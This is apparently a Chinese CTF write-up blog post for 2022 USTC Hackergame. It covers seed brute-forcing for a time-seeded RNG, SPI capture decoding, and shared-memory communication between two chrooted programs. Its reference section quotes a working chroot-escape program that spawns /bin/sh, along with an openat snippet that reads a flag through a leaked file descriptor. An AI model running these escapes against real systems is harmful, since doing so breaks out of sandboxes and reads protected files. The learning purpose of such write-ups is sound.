C 库函数 time_t time(time_t *seconds) 返回自纪元 Epoch(1970-01-01 00:00:00 UTC)起经过的时间,以秒为单位。如果 seconds 不为空,则返回值也存储在变量 seconds 中。其实也就是 UNIX 时间戳

clock() 函数可以返回自程序开始执行到当前位置为止, 处理器走过的时钟打点数(即”ticks”, 可以理解为”处理器时间”). 这个在不同的编译器,以及操作系统上还不一样,详见上面第二个链接,感觉是挺坑的一个点了。

这个 clock 的结果估计偏差估计有几千的数量级,相对于 time 的结果而言很大了,所以其实大概半个小时内开题目理论上都能撞出来吧。

因此可以先开始爆破这个随机数种子,从当前时刻开始,然后再开题目。毕竟题目那边 srand 这里 time(0) + clock() 肯定比你爆破的初始值要大了。

自己写个 exp:

这里为了快速爆破,只生成前两个蒙特卡罗估计结果,注意初始值 init 不要加那个 clock

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

double rand01()
{
	return (double)rand() / RAND_MAX;
}

int main(int argc, char **argv)
{
	// disable buffering
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);

	int init = (unsigned)time(0);
	for (int offset = 0; offset <= 100000; offset++)
	{
		srand(init + offset);
		// srand(1666738405);
		printf("%d: ", init + offset);
		int games = 2; //5
		int win = 0;
		int lose = 0;
		char target[20];
		char guess[2000];
		for (int i = games; i > 0; i--) {
			int M = 0;
			int N = 400000;
			for (int j = 0; j < N; j++) {
				double x = rand01();
				double y = rand01();
				if (x*x + y*y < 1) M++;
			}
			double pi = (double)M / N * 4;
			printf("%1.5f, ", pi);
		}
		printf("\n");
	}
	return 0;
}

反正这个初始值就当前 unix timestamp,offset 开大点就好,这里得用主办方给的 Dockerfile 自己搭一个

FROM debian:11
RUN apt update && apt -y upgrade && \
    apt install -y gcc && rm -rf /var/lib/apt/lists/*
COPY monte_carlo.c /
RUN gcc -O3 /monte_carlo.c -o /a.out
CMD ["/a.out"]

最开始,咱先写了个 pwntools 脚本去交互,subprocess 调用 docker 去爆破,判断第一个数,之后又判断前两个数,写的乱的要死还爆破不出来

差点要放弃了(天亮了)

最后想为啥不反过来,直接手动找就好了啊。爆破一直开,然后开题目在终端上随便填,拿前两个数据,然后去比对

docker build -t monte_carlo .
docker run --rm monte_carlo > data

左边开个 docker 跑爆破,右边 grep 跑出来的结果

在跑了好一会儿之后,终于看到了需要的数据,呜呜呜!!!(实际上喵喵改了老半天代码重新 build 跑了好多次

然后再改改代码,把 srand(1666738405); 这里设置成这个确定的随机数种子,int games = 5; 改回去,再 build 个 docker 把对应结果跑出来

(其实可以加个 argv 做特判的,咱懒得写了,心态炸了

flag{raNd0m_nUmb34_a1wayS_m4tters_7a5614bb46}

片上系统

你的室友在学习了计算机组成原理之后沉迷 RISC-V 软核开发。

RISC-V,是一个近年来兴起的开放指令集架构。

软核,意思是这个 RISC-V CPU(如果能称之为 CPU 的话)是在 FPGA 等可编程芯片中运行的(而不是在真正硅片上固定的物理电路)。同时,CPU 需要的外部硬件,如字符打印、图像显示、LED 点灯等等,均需要自己用硬件描述语言编写(而不像单片机等设备开发时只要调用库函数就可以了)。有些人会选择已经实现好的开源部件和处理器,组合定制成为一套片上系统(System on Chip, SoC),用于嵌入式开发、工业控制或个人娱乐等目的。而另外一些失去理智的人们则选择以一己之力,从零开始编写自己的 CPU 和外设,并企图用自己几个月摸鱼摸出的处理器与嵌入式大厂数十年的积累抗衡,尽管 Ta 们的 CPU 通常性能不如 i386、没有异常处理、甚至几十个周期才能完成一条指令,而外设也通常仅限于串口和几个屈指可数的 LED 灯。

最近,你听说室友在 SD 卡方面取得了些进展。在他日复一日的自言自语中,你逐渐了解到这个由他一个人自主研发的片上系统现在已经可以从 SD 卡启动:先由“片上 ROM 中的固件”加载并运行 SD 卡第一个扇区中的“引导程序”,之后由这个“引导程序”从 SD 卡中加载“操作系统”。而这个“操作系统”目前能做的只是向“串口”输出一些字符。

同时你听说,这个并不完善的 SD 卡驱动只使用了 SD 卡的 SPI 模式,而传输速度也是低得感人。此时你突然想到:如果速度不快的话,是不是可以用逻辑分析仪来采集(偷窃)这个 SD 卡的信号,从而“获得” SD 卡以至于这个“操作系统”的秘密?

你从抽屉角落掏出吃灰已久的逻辑分析仪。这个小东西价格不到 50 块钱,采样率也只有 24 M。你打开 PulseView,把采样率调高,连上室友开发板上 SD 卡的引脚,然后接通了开发板的电源,希望这聊胜于无的分析仪真的能抓到点什么有意思的信号。至于你为什么没有直接把 SD 卡拿下来读取数据,就没人知道了。

引导扇区

听说,第一个 flag 藏在 SD 卡第一个扇区的末尾。你能找到它吗?

操作系统

室友的“操作系统”会输出一些调试信息和第二个 flag。从室友前些日子社交网络发布的终端截图看,这个“操作系统”每次“启动”都会首先输出:

LED: ON
Memory: OK

或许你可以根据这一部分固定的输出和引导扇区的代码,先搞清楚那“串口”和“SD 卡驱动”到底是怎么工作的,之后再仔细研究 flag 到底是什么,就像当年的 Enigma 一样。

引导扇区

给了个 PulseView 的逻分抓包文件

哈哈,之前喵喵就出过的一道 UART 逻分抓包的题,这次是 SPI 了

SD 卡,SPI 模式,传输速度低得感人,第一个 flag 藏在 SD 卡第一个扇区的末尾

很明显 D1 是时钟 CLK,D0 应该是片选 CS,D2 应该是主机给 SD 卡发(?),D3 应该是 SD 卡给主机发数据

这里分隔开的一个一个区间应该就是对应了不同的扇区了,要取的数据应该就在这一块

选个 SPI,稍微配置一下,顺便可以加上个 Stack Decoder

用光标选一下,把这里的数据导出来 Export annotations for this row within cursor range

200474-200736 SPI: MOSI data: 66
200752-201015 SPI: MOSI data: 6C
201031-201293 SPI: MOSI data: 61
201309-201572 SPI: MOSI data: 67
201588-201850 SPI: MOSI data: 7B
201866-202129 SPI: MOSI data: 30
202145-202407 SPI: MOSI data: 4B
202423-202686 SPI: MOSI data: 5F
202702-202963 SPI: MOSI data: 79
202980-203243 SPI: MOSI data: 6F
203259-203520 SPI: MOSI data: 75
203537-203800 SPI: MOSI data: 5F
203816-204077 SPI: MOSI data: 67
204095-204357 SPI: MOSI data: 6F
204373-204634 SPI: MOSI data: 54
204652-204914 SPI: MOSI data: 5F
204930-205193 SPI: MOSI data: 74
205209-205471 SPI: MOSI data: 68
205487-205750 SPI: MOSI data: 33
205766-206028 SPI: MOSI data: 5F
206044-206307 SPI: MOSI data: 62
206323-206585 SPI: MOSI data: 34
206601-206864 SPI: MOSI data: 73
206880-207141 SPI: MOSI data: 49
207158-207421 SPI: MOSI data: 63
207437-207698 SPI: MOSI data: 5F
207716-207978 SPI: MOSI data: 31
207994-208255 SPI: MOSI data: 64
208273-208535 SPI: MOSI data: 45
208551-208814 SPI: MOSI data: 34
208830-209092 SPI: MOSI data: 5F
209108-209371 SPI: MOSI data: 63
209387-209649 SPI: MOSI data: 61
209665-209928 SPI: MOSI data: 52
209944-210206 SPI: MOSI data: 52
210222-210485 SPI: MOSI data: 79
210501-210763 SPI: MOSI data: 5F
210779-211042 SPI: MOSI data: 30
211058-211319 SPI: MOSI data: 4E
211336-211599 SPI: MOSI data: 7D
211615-211876 SPI: MOSI data: B0
211894-212156 SPI: MOSI data: E5

flag{0K_you_goT_th3_b4sIc_1dE4_caRRy_0N}

操作系统

干脆把所有 D3 通道输出的数据都导出来,大概长这样

也看到了操作系统启动输出的 LED: ON Memory: OK

唉,这么说来 D3 应该是串口输出才对吧(? 应该是段固件

翻了下时序图

wikipedia: Enigma machine

The Enigma machine is a cipher device developed and used in the early- to mid-20th century to protect commercial, diplomatic, and military communication. It was employed extensively by Nazi Germany during World War II, in all branches of the German military. The Enigma machine was considered so secure that it was used to encipher the most top-secret messages.

The Enigma has an electromechanical rotor mechanism that scrambles the 26 letters of the alphabet. In typical use, one person enters text on the Enigma’s keyboard and another person writes down which of the 26 lights above the keyboard illuminated at each key press. If plain text is entered, the illuminated letters are the ciphertext. Entering ciphertext transforms it back into readable plaintext. The rotor mechanism changes the electrical connections between the keys and the lights with each keypress.

嗯,是个硬件电路实现的密码装置,感觉好多密码学的东西都是在战争中诞生的啊(但好像对解题没啥用就是了

先把这个输出的东西丢到 IDA 里分析(所以那些可见字符只是二进制程序里的字符串部分?

呜呜,不会 RISC-V 啊

TODO

看不见的彼方

虽然看见的是同一片天空(指运行在同一个 kernel 上),脚踏着的是同一块土地(指使用同一个用户执行),他们之间却再也无法见到彼此——因为那名为 chroot(2) 的牢笼,他们再也无法相见。为了不让他们私下串通,魔王甚至用 seccomp(2),把他们调用与 socket 相关的和调试相关的系统调用的权利也剥夺了去。

但即使无法看到对方所在的彼方,他们相信,他们的心意仍然是相通的。即使心处 chroot(2) 的牢笼,身缚 seccomp(2) 的锁链,他们仍然可以将自己想表达的话传达给对方。


你需要上传两个 x86_64 架构的 Linux 程序。为了方便描述,我们称之为 Alice 和 Bob。两个程序会在独立的 chroot 环境中运行。

在 Alice 的环境中,secret 存储在 /secret 中,可以直接读取,但是 Alice 的标准输出和标准错误会被直接丢弃;在 Bob 的环境中,没有 flag,但是 Bob 的标准输出和标准错误会被返回到网页中。/secret 的内容每次运行都会随机生成,仅当 Bob 的标准输出输出与 Alice 的 /secret 内容相同的情况下,你才能够获得 flag。

执行环境为 Debian 11,两个程序文件合计大小需要在 10M 以下,最长允许运行十秒。特别地,如果你看到 “Failed to execute program.” 或其他类似错误,那么说明你的程序需要的运行时库可能在环境中不存在,你需要想办法在满足大小限制的前提下让你的程序能够顺利运行。

构建环境相关的 Dockerfile 附件

在现代 Linux 上,chroot 既是一个 CLI 工具(chroot(8)),又是一个系统调用(chroot(2))。

这里给了源码,然而里面是调用的 chroot 命令啊(

试了下 chw00t 里的各种方法

chw00t: chroot escape tool

This tool can help you escape from chroot environments. Even though chroot is not a security feature in any Unix systems, it is misused in a lot of setups. With this tool there is a chance that you can bypass this barrier.

mkdir 失败。。

发现试了老半天都穿不出去……

然后执行器 executor.c 里把 socket 之类的 syscall 给禁用了,于是网络相关的也不行

那还有啥?共享内存!

咱俩共享一块内存空间,然后通过这块内存进行交互就完事了喵!!!

参考 Linux进程间通信(六):共享内存 shmget()、shmat()、shmdt()、shmctl()

直接拿他的代码改一改,发现这里好像有个执行时间的限制,反正 sleep 不能超过2s,超过直接返回空了

Alice:

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/shm.h>

#ifndef _SHMDATA_H_HEADER
#define _SHMDATA_H_HEADER
 
#define TEXT_SZ 2048
 
struct shared_use_st
{
    int written; // 作为一个标志,非0:表示可读,0:表示可写
    char text[TEXT_SZ]; // 记录写入 和 读取 的文本
};
 
#endif

 
int main(int argc, char **argv)
{
    void *shm = NULL;
    struct shared_use_st *shared = NULL;
    char buffer[BUFSIZ + 1]; // 用于保存输入的文本
    int shmid;

    FILE *fp = NULL;
	fp = fopen("/secret", "r");
	// fscanf(fp, "%s", buffer);

 
    // 创建共享内存
    shmid = shmget((key_t)1234, sizeof(struct shared_use_st), 0666|IPC_CREAT);
    if (shmid == -1)
    {
        fprintf(stderr, "shmget failed\n");
        exit(EXIT_FAILURE);
    }
 
    // 将共享内存连接到当前的进程地址空间
    shm = shmat(shmid, (void *)0, 0);
    if (shm == (void *)-1)
    {
        fprintf(stderr, "shmat failed\n");
        exit(EXIT_FAILURE);
    }
 
    printf("Memory attched at %X\n", (int)shm);
 
    // 设置共享内存
    shared = (struct shared_use_st *)shm;
    // while (1) // 向共享内存中写数据
    {
        // 数据还没有被读取,则等待数据被读取,不能向共享内存中写入文本
        // while (shared->written == 1)
        // {
        //     sleep(1);
        //     printf("Waiting...\n");
        // }
 
        // 向共享内存中写入数据
        printf("Enter some text: ");
        // fgets(buffer, BUFSIZ, stdin);
        // strcpy(buffer, "miaohomoend");
	    fscanf(fp, "%s", buffer);
        fclose(fp);
        strncpy(shared->text, buffer, TEXT_SZ);
 
        // 写完数据,设置written使共享内存段可读
        shared->written = 1;
 
        // 输入了end,退出循环(程序)
        // if (strncmp(buffer, "end", 3) == 0)
        // {
        //     break;
        // }
    }
 
    // 把共享内存从当前进程中分离
    if (shmdt(shm) == -1)
    {
        fprintf(stderr, "shmdt failed\n");
        exit(EXIT_FAILURE);
    }
 
    sleep(2);
    exit(EXIT_SUCCESS);
}

Bob:

#include <stddef.h>
#include <sys/shm.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#ifndef _SHMDATA_H_HEADER
#define _SHMDATA_H_HEADER
 
#define TEXT_SZ 2048
 
struct shared_use_st
{
    int written; // 作为一个标志,非0:表示可读,0:表示可写
    char text[TEXT_SZ]; // 记录写入 和 读取 的文本
};
 
#endif
 
int main(int argc, char **argv)
{
    void *shm = NULL;
    struct shared_use_st *shared; // 指向shm
    int shmid; // 共享内存标识符
 
    // 创建共享内存
    shmid = shmget((key_t)1234, sizeof(struct shared_use_st), 0666|IPC_CREAT);
    if (shmid == -1)
    {
        fprintf(stderr, "shmat failed\n");
        exit(EXIT_FAILURE);
    }
 
    // 将共享内存连接到当前进程的地址空间
    shm = shmat(shmid, 0, 0);
    if (shm == (void *)-1)
    {
        fprintf(stderr, "shmat failed\n");
        exit(EXIT_FAILURE);
    }
 
    // printf("\nMemory attached at %X\n", (int)shm);
 
    // 设置共享内存
    shared = (struct shared_use_st*)shm; // 注意:shm有点类似通过 malloc() 获取到的内存,所以这里需要做个 类型强制转换
    shared->written = 0;
    // while (1) // 读取共享内存中的数据
    {
        sleep(1);
        // 没有进程向内存写数据,有数据可读取
        // if (shared->written == 1)
        if (1)
        {
            printf("%s", shared->text);
 
            // 读取完数据,设置written使共享内存段可写
            shared->written = 0;
 
            // 输入了 end,退出循环(程序)
            // if (strncmp(shared->text, "end", 3) == 0)
            // {
            //     break;
            // }
        }
        // else // 有其他进程在写数据,不能读取数据
        // {
        //     sleep(1);
        // }
    }
 
    // 把共享内存从当前进程中分离
    if (shmdt(shm) == -1)
    {
        fprintf(stderr, "shmdt failed\n");
        exit(EXIT_FAILURE);
    }
 
    // 删除共享内存
    if (shmctl(shmid, IPC_RMID, 0) == -1)
    {
        fprintf(stderr, "shmctl(IPC_RMID) failed\n");
        exit(EXIT_FAILURE);
    }
 
    exit(EXIT_SUCCESS);
}

忽略一些没啥用的代码,懒得删了(

然后 编译一下,传上去执行

gcc -o expAA expAA.c
gcc -o expBB expBB.c

flag{ChR00t_ISNOTFULL_1501AtiOn_4f5ca7cef7}

chw00t

Escaping a chroot jail/1

A catch-all compile-everywhere C unchroot

#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>

int main() {
 int dir_fd, x;
 setuid(0);
 mkdir(".42", 0755);
 dir_fd = open(".", O_RDONLY);
 chroot(".42");
 fchdir(dir_fd);
 close(dir_fd);  
 for(x = 0; x < 1000; x++) chdir("..");
 chroot(".");  
 return execl("/bin/sh", "-i", NULL);
}

32C3 CTF: Docker writeup (exp: https://github.com/kitctf/writeups/blob/master/32c3-ctf/docker/client.c)

容器逃逸成真:从CTF解题到CVE-2019-5736漏洞挖掘分析

Linux中的chroot命令

chroot 命令小记

How to break out of a chroot() jail

Breaking out of CHROOT Jailed Shell Environment

linux中的容器与沙箱初探

清华校赛THUCTF2019 之 固若金汤 (用的 openat,有未关闭的 fd

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main(){
	char buf[100]={};
	int fd1 = openat(3,"../../../../../flag",0);
	read(fd1,buf,100);
	write(1,buf,100);
	printf("[+] from server\\n");
}

小结

这篇里的题目更多的是 binary 方向 的,感觉做题过程中也学到了许多

下一篇主要包括以下题目:

传达不到的文件,二次元神经网络,你先别急,惜字如金,量子藏宝图

详见: CTF | 2022 USTC Hackergame WriteUp 0x03

(溜了溜了喵


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录